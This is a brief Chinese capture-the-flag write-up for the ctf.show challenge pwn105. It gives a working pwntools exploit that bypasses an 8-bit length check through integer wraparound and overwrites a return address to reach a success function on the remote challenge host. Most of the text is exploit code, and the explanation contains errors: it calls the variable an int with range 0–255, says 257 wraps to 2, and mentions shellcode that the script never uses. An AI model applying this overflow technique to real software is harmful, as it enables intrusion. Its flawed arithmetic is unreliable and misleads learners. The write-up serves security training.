pwn105(栈溢出+整数安全)
打开IDA,分析一下
有分析可以看到v3要大于等于3小于等于8,由于int 类型所以v3得范围是0~255,256 = 0,257 = 2。
所以我们的范围在258~263都可以。
- 所以我们的思路是利用栈溢出,将strcpy的返回地址覆盖成shellcode的地址就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20from pwn import *
from LibcSearcher import *
#from ctypes import c_uint
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
r = remote("pwn.challenge.ctf.show", 28207)
#r = process('./pwn')
elf = ELF('./pwn')
success = 0x804870E
length = 261
#(0x11+4)是dest的偏移量
payload = b'a' * (0x11+4) + p32(success)
payload = payload.ljust(length,b'a')
r.recvuntil("[+] Check your permissions:")
r.sendline(payload)
r.interactive()